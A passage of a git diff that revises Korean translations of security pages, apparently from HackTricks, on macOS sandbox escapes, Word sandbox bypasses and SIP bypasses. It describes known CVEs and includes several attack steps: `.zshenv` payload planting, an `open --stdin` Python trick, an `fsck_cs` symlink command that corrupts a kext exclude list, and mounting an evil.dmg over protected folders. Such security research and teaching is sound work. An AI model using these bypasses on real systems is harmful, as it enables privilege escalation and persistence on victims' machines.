앱 내에서 다음과 같은 한 줄로 등록하기만 하면 됩니다: ```objectivec [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; ``` -또한, `System/Library/xpc/launchd.plist`에서 `Application`를 검색하여 모든 **Application** Mach 서비스를 찾는 것이 가능합니다. +또한, `Application`에 대해 `System/Library/xpc/launchd.plist` 내에서 검색하여 모든 **Application** Mach 서비스를 찾는 것이 가능합니다. 유효한 xpc 서비스를 찾는 또 다른 방법은 다음의 서비스를 확인하는 것입니다: ```bash find /System/Library/Frameworks -name "*.xpc" find /System/Library/PrivateFrameworks -name "*.xpc" ``` -이 기술을 악용한 여러 예시는 [**원본 작성물**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 찾을 수 있지만, 다음은 요약된 몇 가지 예입니다. +여러 가지 이 기술을 악용한 예시는 [**원본 작성물**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 찾을 수 있지만, 다음은 요약된 몇 가지 예입니다. #### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc @@ -130,9 +130,9 @@ NSLog(@"run task result:%@, error:%@", bSucc, error); ``` #### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc -이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 `createZipAtPath:hourThreshold:withReply:`는 기본적으로 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그리고 그것은 ZIP 파일로 압축됩니다. +이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 `createZipAtPath:hourThreshold:withReply:`는 기본적으로 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그러면 ZIP 파일로 압축됩니다. -따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성을 가지지 않기 때문입니다. +따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성이 없기 때문입니다. 익스플로잇은: ```objectivec @@ -248,13 +248,13 @@ open /tmp/poc.app ``` ### Interposting Bypass -**Interposting**에 대한 자세한 내용은 다음을 확인하세요: +**Interposting**에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}} -#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스팅합니다. +#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스트합니다. ```c // gcc -dynamiclib interpose.c -o interpose.dylib diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 827e11fa6..2c51f5c53 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -18,19 +18,19 @@ 이전 샌드박스 우회로 인해 Microsoft는 `~/Library/LaunchAgents`에 파일을 쓸 수 있는 옵션을 비활성화했습니다. 그러나 **로그인 항목으로 zip 파일을 넣으면** `Archive Utility`가 현재 위치에서 **압축을 풉니다**. 따라서 기본적으로 `~/Library`의 `LaunchAgents` 폴더가 생성되지 않기 때문에 **`LaunchAgents/~$escape.plist`**에 plist를 **압축하고** **`~/Library`**에 zip 파일을 **배치**하면 압축 해제 시 지속성 목적지에 도달할 수 있었습니다. -[**원본 보고서 확인하기**](https://objective-see.org/blog/blog_0x4B.html)을 확인하세요. +[**원본 보고서 확인하기**](https://objective-see.org/blog/blog_0x4B.html)를 확인하세요. ### Word Sandbox bypass via Login Items and .zshenv -(첫 번째 탈출에서 Word는 `~$`로 시작하는 임의의 파일을 쓸 수 있음을 기억하세요). +(첫 번째 탈출에서 Word는 `~$`로 시작하는 임의의 파일을 쓸 수 있습니다). 그러나 이전 기술에는 제한이 있었습니다. **`~/Library/LaunchAgents`** 폴더가 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 그래서 이를 위한 다른 로그인 항목 체인이 발견되었습니다. -공격자는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하고 실행할 페이로드를 추가한 후 이를 압축하고 **피해자의** 사용자 폴더에 **`~/~$escape.zip`**로 작성할 수 있습니다. +공격자는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하고 실행할 페이로드를 추가한 다음 이를 압축하고 **희생자의** 사용자 폴더에 **`~/~$escape.zip`**로 작성할 수 있습니다. -그런 다음 zip 파일을 **로그인 항목**에 추가하고 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어쓰게 되고, 따라서 터미널은 이 파일 중 하나를 실행하게 됩니다(사용되는 셸에 따라 다름). +그런 다음 zip 파일을 **로그인 항목**에 추가하고 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어쓰게 되고, 따라서 터미널은 이 파일 중 하나를 실행합니다(사용되는 셸에 따라 다름). -[**원본 보고서 확인하기**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)을 확인하세요. +[**원본 보고서 확인하기**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)를 확인하세요. ### Word Sandbox Bypass with Open and env variables @@ -38,13 +38,13 @@ open 유틸리티에는 **특정 env** 변수를 사용하여 앱을 실행하는 **`--env`** 옵션이 있다는 것이 발견되었습니다. 따라서 **샌드박스** 내의 폴더에 **`.zshenv` 파일**을 생성하고 `--env`로 **`HOME` 변수를** 해당 폴더로 설정하여 `Terminal` 앱을 열면 `.zshenv` 파일이 실행됩니다(어떤 이유로 `__OSINSTALL_ENVIROMENT` 변수를 설정해야 했습니다). -[**원본 보고서 확인하기**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)을 확인하세요. +[**원본 보고서 확인하기**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)를 확인하세요. ### Word Sandbox Bypass with Open and stdin -**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원했습니다(이전 우회 이후 `--env`를 사용할 수 없게 되었습니다). +**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원했습니다(이전 우회 이후 `--env`를 사용할 수 없었습니다). -문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 **실행하지 않는다는 것입니다**. 그러나 stdin에서 스크립트를 전달할 수 있었기 때문에 격리 여부를 확인하지 않았습니다: +문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 **실행하지 않습니다**. 그러나 stdin에서 스크립트를 전달할 수 있었기 때문에 격리 여부를 확인하지 않았습니다: 1. 임의의 Python 명령이 포함된 **`~$exploit.py`** 파일을 드롭합니다. 2. _open_ **`–stdin='~$exploit.py' -a Python`**을 실행하여 Python 앱을 우리의 드롭된 파일을 표준 입력으로 사용하여 실행합니다. Python은 우리의 코드를 기꺼이 실행하며, 이는 _launchd_의 자식 프로세스이므로 Word의 샌드박스 규칙에 구속되지 않습니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index dfe74a021..2cc4d74bf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -20,9 +20,9 @@ SIP의 동작을 규정하는 규칙은 **`/System/Library/Sandbox/rootless.conf * /usr/local * /usr/share/man ``` -이 스니펫은 SIP가 일반적으로 **`/usr`** 디렉토리를 보호하지만, 특정 하위 디렉토리(`/usr/libexec/cups`, `/usr/local`, `/usr/share/man`)에서는 수정이 허용된다는 것을 나타냅니다. 이는 해당 경로 앞에 별표(\*)가 있음을 통해 알 수 있습니다. +이 코드 조각은 SIP가 일반적으로 **`/usr`** 디렉토리를 보호하지만, 특정 하위 디렉토리(`/usr/libexec/cups`, `/usr/local`, `/usr/share/man`)에서는 수정이 허용된다는 것을 나타냅니다. 이는 해당 경로 앞에 있는 별표(\*)로 표시됩니다. -디렉토리나 파일이 SIP에 의해 보호되는지 확인하려면 **`ls -lOd`** 명령을 사용하여 **`restricted`** 또는 **`sunlnk`** 플래그의 존재를 확인할 수 있습니다. 예를 들어: +디렉토리나 파일이 SIP에 의해 보호되는지 확인하려면 **`ls -lOd`** 명령을 사용하여 **`restricted`** 또는 **`sunlnk`** 플래그의 존재를 확인할 수 있습니다. 예: ```bash ls -lOd /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups @@ -34,7 +34,7 @@ drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups ls -lOd /usr/libexec drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec ``` -여기서 **`restricted`** 플래그는 `/usr/libexec` 디렉토리가 SIP에 의해 보호되고 있음을 나타냅니다. SIP로 보호된 디렉토리에서는 파일을 생성, 수정 또는 삭제할 수 없습니다. +여기서 **`restricted`** 플래그는 `/usr/libexec` 디렉토리가 SIP에 의해 보호되고 있음을 나타냅니다. SIP로 보호되는 디렉토리에서는 파일을 생성, 수정 또는 삭제할 수 없습니다. 또한, 파일에 **`com.apple.rootless`** 확장 **속성**이 포함되어 있으면 해당 파일도 **SIP에 의해 보호**됩니다. @@ -48,7 +48,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec - NVRAM 변수 수정 - 커널 디버깅 허용 -옵션은 비트 플래그로 nvram 변수에 유지됩니다 (`csr-active-config`는 Intel에서, `lp-sip0`는 ARM의 부팅된 Device Tree에서 읽습니다). 플래그는 `csr.sh`의 XNU 소스 코드에서 찾을 수 있습니다: +옵션은 비트 플래그로 nvram 변수에 유지됩니다 (`csr-active-config`는 Intel에서, `lp-sip0`는 ARM의 부팅된 장치 트리에서 읽습니다). 플래그는 `csr.sh`의 XNU 소스 코드에서 찾을 수 있습니다:
@@ -62,7 +62,7 @@ SIP를 비활성화해야 하는 경우, 컴퓨터를 복구 모드로 재시작 ```bash csrutil disable ``` -SIP를 활성화한 상태로 유지하면서 디버깅 보호 기능을 제거하려면 다음을 사용하면 됩니다: +SIP을 활성화한 상태로 유지하면서 디버깅 보호를 제거하려면 다음을 사용하면 됩니다: ```bash csrutil enable --without debug ``` @@ -70,7 +70,7 @@ csrutil enable --without debug - **서명되지 않은 커널 확장(kexts)의 로드를 허용하지 않음**으로써, 검증된 확장만이 시스템 커널과 상호작용하도록 보장합니다. - **macOS 시스템 프로세스의 디버깅을 방지**하여, 핵심 시스템 구성 요소를 무단 접근 및 수정으로부터 보호합니다. -- **dtrace와 같은 도구의 사용을 억제**하여, 시스템 운영의 무결성을 추가로 보호합니다. +- **dtrace와 같은 도구의 사용을 억제**하여 시스템 운영의 무결성을 추가로 보호합니다. [**이 발표에서 SIP 정보에 대해 더 알아보세요**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.** @@ -94,7 +94,7 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다: - **사용자 데이터 접근**: 모든 사용자 계정에서 메일, 메시지 및 Safari 기록과 같은 민감한 사용자 데이터를 읽습니다. - **TCC 우회**: TCC(투명성, 동의 및 제어) 데이터베이스를 직접 조작하여 웹캠, 마이크 및 기타 리소스에 대한 무단 접근을 부여합니다. -- **지속성 설정**: SIP로 보호된 위치에 악성 코드를 배치하여 루트 권한으로도 제거에 저항하도록 만듭니다. 여기에는 악성 소프트웨어 제거 도구(MRT)를 변조할 가능성도 포함됩니다. +- **지속성 확립**: SIP로 보호된 위치에 악성 코드를 배치하여 루트 권한으로도 제거에 저항하도록 만듭니다. 여기에는 악성 코드 제거 도구(MRT)를 변조할 가능성도 포함됩니다. - **커널 확장 로드**: 추가적인 보호 장치가 있지만, SIP를 우회하면 서명되지 않은 커널 확장을 로드하는 과정이 간소화됩니다. ### 설치 패키지 @@ -103,7 +103,7 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다: ### 존재하지 않는 SIP 파일 -하나의 잠재적 허점은 **`rootless.conf`에 파일이 지정되어 있지만 현재 존재하지 않는 경우**, 생성될 수 있다는 것입니다. 악성 코드는 이를 악용하여 시스템에서 **지속성을 설정**할 수 있습니다. 예를 들어, 악성 프로그램이 `rootless.conf`에 나열되어 있지만 존재하지 않는 경우 `/System/Library/LaunchDaemons`에 .plist 파일을 생성할 수 있습니다. +하나의 잠재적 허점은 **`rootless.conf`에 지정된 파일이 현재 존재하지 않는 경우** 해당 파일을 생성할 수 있다는 것입니다. 악성 코드는 이를 악용하여 시스템에서 **지속성을 확립**할 수 있습니다. 예를 들어, 악성 프로그램이 `rootless.conf`에 나열되어 있지만 존재하지 않는 경우 `/System/Library/LaunchDaemons`에 .plist 파일을 생성할 수 있습니다. ### com.apple.rootless.install.heritable @@ -112,11 +112,11 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다: #### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) -시스템이 코드 서명을 검증한 후 **설치 패키지를 교환**할 수 있다는 것이 발견되었습니다. 그 후 시스템은 원본 대신 악성 패키지를 설치하게 됩니다. 이러한 작업이 **`system_installd`**에 의해 수행되었기 때문에 SIP를 우회할 수 있게 됩니다. +시스템이 코드 서명을 검증한 후 **설치 패키지를 교체하는 것이 가능하다는 것이 발견되었습니다**. 그 후 시스템은 원본 대신 악성 패키지를 설치하게 됩니다. 이러한 작업이 **`system_installd`**에 의해 수행되었기 때문에 SIP를 우회할 수 있게 됩니다. #### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) -마운트된 이미지나 외부 드라이브에서 패키지가 설치되면 **설치 프로그램**이 **해당 파일 시스템**에서 바이너리를 **실행**하게 되어, **`system_installd`**가 임의의 바이너리를 실행하게 됩니다. +마운트된 이미지나 외부 드라이브에서 패키지가 설치된 경우 **설치 프로그램**이 **해당 파일 시스템**에서 바이너리를 **실행**하게 되어 **`system_installd`**가 임의의 바이너리를 실행하게 됩니다. #### CVE-2021-30892 - Shrootless @@ -124,17 +124,17 @@ SIP를 우회하면 공격자가 다음을 수행할 수 있습니다: **`system_installd`** 데몬은 **Apple**에 의해 서명된 패키지를 설치합니다. -연구자들은 Apple 서명 패키지(.pkg 파일)를 설치하는 동안 **`system_installd`**가 패키지에 포함된 모든 **post-install** 스크립트를 **실행**한다는 것을 발견했습니다. 이러한 스크립트는 기본 셸인 **`zsh`**에 의해 실행되며, 존재하는 경우 **`/etc/zshenv`** 파일에서 명령을 자동으로 **실행**합니다. 이 동작은 공격자에 의해 악용될 수 있습니다: 악성 **`/etc/zshenv`** 파일을 생성하고 **`system_installd`가 `zsh`를 호출할 때** 대기함으로써, 장치에서 임의의 작업을 수행할 수 있습니다. +연구자들은 Apple 서명 패키지(.pkg 파일)의 설치 중에 **`system_installd`**가 패키지에 포함된 모든 **post-install** 스크립트를 **실행**한다는 것을 발견했습니다. 이러한 스크립트는 기본 셸인 **`zsh`**에 의해 실행되며, 존재하는 경우 **`/etc/zshenv`** 파일에서 명령을 자동으로 **실행**합니다. 이 동작은 공격자에 의해 악용될 수 있습니다: 악성 **`/etc/zshenv`** 파일을 생성하고 **`system_installd`가 `zsh`를 호출할 때** 임의의 작업을 수행할 수 있습니다. -게다가, **`/etc/zshenv`**는 SIP 우회뿐만 아니라 일반적인 공격 기법으로도 사용될 수 있다는 것이 발견되었습니다. 각 사용자 프로필에는 `~/.zshenv` 파일이 있으며, 이는 `/etc/zshenv`와 동일하게 동작하지만 루트 권한이 필요하지 않습니다. 이 파일은 `zsh`가 시작될 때마다 트리거되는 지속성 메커니즘으로 사용되거나 권한 상승 메커니즘으로 사용될 수 있습니다. 관리 사용자가 `sudo -s` 또는 `sudo `를 사용하여 루트로 상승하면 `~/.zshenv` 파일이 트리거되어 루트로 상승하게 됩니다. +게다가 **`/etc/zshenv`**는 SIP 우회뿐만 아니라 일반적인 공격 기법으로도 사용될 수 있다는 것이 발견되었습니다. 각 사용자 프로필에는 `~/.zshenv` 파일이 있으며, 이는 `/etc/zshenv`와 동일하게 동작하지만 루트 권한이 필요하지 않습니다. 이 파일은 `zsh`가 시작될 때마다 트리거되는 지속성 메커니즘으로 사용되거나 권한 상승 메커니즘으로 사용될 수 있습니다. 관리 사용자가 `sudo -s` 또는 `sudo `를 사용하여 루트로 상승하면 `~/.zshenv` 파일이 트리거되어 루트로 상승하게 됩니다. #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) -[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)에서는 동일한 **`system_installd`** 프로세스가 여전히 악용될 수 있다는 것이 발견되었습니다. 왜냐하면 **post-install 스크립트가 SIP로 보호된 `/tmp` 내의 임의 이름의 폴더에 넣어지고 있었기 때문입니다**. 문제는 **`/tmp` 자체는 SIP로 보호되지 않기 때문에**, **가상 이미지를 마운트**한 후 **설치 프로그램**이 **post-install 스크립트**를 그곳에 넣고, **가상 이미지를 언마운트**한 다음, 모든 **폴더를 재생성**하고 **payload**를 실행하기 위한 **post installation** 스크립트를 추가할 수 있었다는 것입니다. +[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)에서 **`system_installd`** 프로세스가 여전히 악용될 수 있다는 것이 발견되었습니다. 이는 **`/tmp`** 내의 SIP로 보호된 임의의 이름의 폴더에 **post-install 스크립트**를 넣기 때문입니다. 문제는 **`/tmp` 자체는 SIP로 보호되지 않기 때문에**, **가상 이미지를 마운트**한 후 **설치 프로그램**이 **post-install 스크립트**를 그곳에 넣고, **가상 이미지를 언마운트**한 다음, 모든 **폴더를 재생성**하고 **payload**를 실행하기 위한 **post installation** 스크립트를 추가할 수 있었다는 것입니다. #### [fsck_cs 유틸리티](https://www.theregister.com/2016/03/30/apple_os_x_rootless/) -**`fsck_cs`**가 중요한 파일을 손상시키도록 유도된 취약점이 확인되었습니다. 이는 **심볼릭 링크**를 따라갈 수 있는 능력 때문입니다. 구체적으로, 공격자들은 _`/dev/diskX`_에서 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 파일로의 링크를 만들었습니다. _`/dev/diskX`_에서 **`fsck_cs`**를 실행하면 `Info.plist`가 손상되었습니다. 이 파일의 무결성은 운영 체제의 SIP(시스템 무결성 보호)에 필수적이며, 이는 커널 확장의 로드를 제어합니다. 손상되면 SIP의 커널 제외 관리 능력이 손상됩니다. +**`fsck_cs`**가 **심볼릭 링크**를 따라가는 능력으로 인해 중요한 파일을 손상시키는 취약점이 확인되었습니다. 구체적으로, 공격자는 _`/dev/diskX`_에서 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 파일로의 링크를 작성했습니다. _`/dev/diskX`_에서 **`fsck_cs`**를 실행하면 `Info.plist`가 손상되었습니다. 이 파일의 무결성은 운영 체제의 SIP(시스템 무결성 보호)에 필수적이며, 이는 커널 확장의 로드를 제어합니다. 손상되면 SIP의 커널 제외 관리 기능이 손상됩니다. 이 취약점을 악용하기 위한 명령은: ```bash @@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&- touch /Library/Extensions/ reboot ``` -이 취약점의 악용은 심각한 영향을 미칩니다. `Info.plist` 파일은 일반적으로 커널 확장에 대한 권한을 관리하는 역할을 하지만, 비효율적이 됩니다. 여기에는 `AppleHWAccess.kext`와 같은 특정 확장을 블랙리스트에 추가할 수 없는 것이 포함됩니다. 결과적으로 SIP의 제어 메커니즘이 작동하지 않게 되면, 이 확장을 로드할 수 있어 시스템의 RAM에 대한 무단 읽기 및 쓰기 접근이 허용됩니다. +이 취약점의 악용은 심각한 영향을 미칩니다. `Info.plist` 파일은 일반적으로 커널 확장에 대한 권한을 관리하는 역할을 하지만, 비효율적이 됩니다. 여기에는 `AppleHWAccess.kext`와 같은 특정 확장을 블랙리스트에 추가할 수 없는 것이 포함됩니다. 결과적으로 SIP의 제어 메커니즘이 작동하지 않게 되면, 이 확장이 로드될 수 있어 시스템의 RAM에 대한 무단 읽기 및 쓰기 접근을 허용하게 됩니다. #### [SIP 보호 폴더에 대한 마운트](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) @@ -156,13 +156,13 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg ``` #### [업그레이더 우회 (2016)](https://objective-see.org/blog/blog_0x14.html) -시스템은 OS를 업그레이드하기 위해 `Install macOS Sierra.app` 내의 임베디드 설치 디스크 이미지를 부팅하도록 설정되어 있으며, `bless` 유틸리티를 사용합니다. 사용된 명령은 다음과 같습니다: +시스템은 OS를 업그레이드하기 위해 `Install macOS Sierra.app` 내의 임베디드 설치 디스크 이미지에서 부팅하도록 설정되어 있으며, `bless` 유틸리티를 사용합니다. 사용된 명령은 다음과 같습니다: ```bash /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer ``` 이 프로세스의 보안은 공격자가 부팅 전에 업그레이드 이미지(`InstallESD.dmg`)를 변경하면 손상될 수 있습니다. 이 전략은 동적 로더(dyld)를 악성 버전(`libBaseIA.dylib`)으로 대체하는 것을 포함합니다. 이 교체는 설치 프로그램이 시작될 때 공격자의 코드가 실행되도록 합니다. -공격자의 코드는 업그레이드 프로세스 중에 제어를 얻고, 설치 프로그램에 대한 시스템의 신뢰를 악용합니다. 공격은 `InstallESD.dmg` 이미지를 메서드 스위즐링을 통해 변경하여 `extractBootBits` 메서드를 특히 겨냥합니다. 이를 통해 디스크 이미지가 사용되기 전에 악성 코드를 주입할 수 있습니다. +공격자의 코드는 업그레이드 프로세스 중에 제어를 얻고, 설치 프로그램에 대한 시스템의 신뢰를 악용합니다. 공격은 `extractBootBits` 메서드를 특히 겨냥하여 메서드 스위즐링을 통해 `InstallESD.dmg` 이미지를 변경함으로써 진행됩니다. 이를 통해 디스크 이미지가 사용되기 전에 악성 코드를 주입할 수 있습니다. 또한, `InstallESD.dmg` 내에는 업그레이드 코드의 루트 파일 시스템 역할을 하는 `BaseSystem.dmg`가 있습니다. 여기에 동적 라이브러리를 주입하면 악성 코드가 OS 수준 파일을 변경할 수 있는 프로세스 내에서 작동할 수 있어 시스템 손상의 가능성이 크게 증가합니다. @@ -176,32 +176,32 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg ```bash /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" ``` -`${SHARED_SUPPORT_PATH}/SharedSupport.dmg`에 심볼릭 링크를 생성하여 사용자가 **SIP 보호를 우회하여 파일의 제한을 해제**할 수 있게 하는 것이 가능했습니다. +and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` that would allow a user to **unrestrict any file, bypassing SIP protection**. ### **com.apple.rootless.install** > [!CAUTION] -> 권한 **`com.apple.rootless.install`**은 SIP를 우회할 수 있게 해줍니다. +> The entitlement **`com.apple.rootless.install`** allows to bypass SIP -권한 `com.apple.rootless.install`은 macOS에서 시스템 무결성 보호(SIP)를 우회하는 것으로 알려져 있습니다. 이는 [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/)와 관련하여 특히 언급되었습니다. +The entitlement `com.apple.rootless.install` is known to bypass System Integrity Protection (SIP) on macOS. This was notably mentioned in relation to [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/). -이 특정 경우에 `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc`에 위치한 시스템 XPC 서비스가 이 권한을 가지고 있습니다. 이는 관련 프로세스가 SIP 제약을 우회할 수 있게 해줍니다. 또한, 이 서비스는 보안 조치를 시행하지 않고 파일을 이동할 수 있는 방법을 제공합니다. +In this specific case, the system XPC service located at `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possesses this entitlement. This allows the related process to circumvent SIP constraints. Furthermore, this service notably presents a method that permits the movement of files without enforcing any security measures. -## 봉인된 시스템 스냅샷 +## Sealed System Snapshots -봉인된 시스템 스냅샷은 **macOS Big Sur (macOS 11)**에서 Apple이 도입한 기능으로, **시스템 무결성 보호(SIP)** 메커니즘의 일환으로 추가적인 보안 및 시스템 안정성을 제공합니다. 이들은 본질적으로 시스템 볼륨의 읽기 전용 버전입니다. +Sealed System Snapshots는 **macOS Big Sur (macOS 11)**에서 Apple이 도입한 기능으로, **System Integrity Protection (SIP)** 메커니즘의 일환으로 추가적인 보안 및 시스템 안정성을 제공합니다. 이들은 본질적으로 시스템 볼륨의 읽기 전용 버전입니다. -자세한 내용은 다음과 같습니다: +다음은 더 자세한 설명입니다: -1. **변경 불가능한 시스템**: 봉인된 시스템 스냅샷은 macOS 시스템 볼륨을 "변경 불가능"하게 만들어, 수정할 수 없도록 합니다. 이는 보안이나 시스템 안정성을 위협할 수 있는 무단 또는 우발적인 변경을 방지합니다. -2. **시스템 소프트웨어 업데이트**: macOS 업데이트나 업그레이드를 설치할 때, macOS는 새로운 시스템 스냅샷을 생성합니다. 그런 다음 macOS 시작 볼륨은 **APFS (Apple File System)**를 사용하여 이 새로운 스냅샷으로 전환합니다. 업데이트 적용 과정이 더 안전하고 신뢰할 수 있게 되며, 업데이트 중 문제가 발생할 경우 시스템이 항상 이전 스냅샷으로 되돌아갈 수 있습니다. -3. **데이터 분리**: macOS Catalina에서 도입된 데이터와 시스템 볼륨 분리 개념과 함께, 봉인된 시스템 스냅샷 기능은 모든 데이터와 설정이 별도의 "**데이터**" 볼륨에 저장되도록 보장합니다. 이 분리는 데이터를 시스템과 독립적으로 만들어 시스템 업데이트 과정을 단순화하고 시스템 보안을 강화합니다. +1. **불변 시스템**: Sealed System Snapshots는 macOS 시스템 볼륨을 "불변"으로 만들어 수정할 수 없게 합니다. 이는 보안이나 시스템 안정성을 위협할 수 있는 무단 또는 우발적인 변경을 방지합니다. +2. **시스템 소프트웨어 업데이트**: macOS 업데이트나 업그레이드를 설치할 때, macOS는 새로운 시스템 스냅샷을 생성합니다. 그런 다음 macOS 시작 볼륨은 **APFS (Apple File System)**를 사용하여 이 새로운 스냅샷으로 전환합니다. 업데이트 적용 과정이 더 안전하고 신뢰할 수 있게 되며, 업데이트 중 문제가 발생할 경우 시스템이 항상 이전 스냅샷으로 되돌릴 수 있습니다. +3. **데이터 분리**: macOS Catalina에서 도입된 데이터와 시스템 볼륨 분리 개념과 함께, Sealed System Snapshot 기능은 모든 데이터와 설정이 별도의 "**Data**" 볼륨에 저장되도록 보장합니다. 이 분리는 데이터를 시스템과 독립적으로 만들어 시스템 업데이트 과정을 단순화하고 시스템 보안을 강화합니다. -이 스냅샷은 macOS에 의해 자동으로 관리되며, APFS의 공간 공유 기능 덕분에 디스크에 추가 공간을 차지하지 않습니다. 또한, 이 스냅샷은 전체 시스템의 사용자 접근 가능한 백업인 **타임 머신 스냅샷**과는 다르다는 점도 중요합니다. +이 스냅샷은 macOS에 의해 자동으로 관리되며, APFS의 공간 공유 기능 덕분에 디스크에 추가 공간을 차지하지 않습니다. 또한, 이러한 스냅샷은 전체 시스템의 사용자 접근 가능한 백업인 **Time Machine snapshots**와는 다르다는 점도 중요합니다. -### 스냅샷 확인 +### Check Snapshots -명령어 **`diskutil apfs list`**는 **APFS 볼륨**의 **세부 사항**과 레이아웃을 나열합니다: +The command **`diskutil apfs list`** lists the **details of the APFS volumes** and their layout:
+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
 |   ====================================================
@@ -240,11 +240,11 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
 |   FileVault:                 Yes (Unlocked)
 
-이전 출력에서 **사용자 접근 가능한 위치**가 `/System/Volumes/Data` 아래에 마운트된 것을 볼 수 있습니다. +In the previous output it's possible to see that **user-accessible locations** are mounted under `/System/Volumes/Data`. -또한, **macOS 시스템 볼륨 스냅샷**은 `/`에 마운트되어 있으며 **봉인**되어 있습니다(운영 체제에 의해 암호화 서명됨). 따라서 SIP가 우회되어 수정되면 **운영 체제가 더 이상 부팅되지 않습니다**. +Moreover, **macOS System volume snapshot** is mounted in `/` and it's **sealed** (cryptographically signed by the OS). So, if SIP is bypassed and modifies it, the **OS won't boot anymore**. -봉인이 활성화되어 있는지 **확인할 수 있는** 방법도 있습니다: +It's also possible to **verify that seal is enabled** by running: ```bash csrutil authenticated-root status Authenticated Root status: enabled diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 0597905a9..6a962189c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ 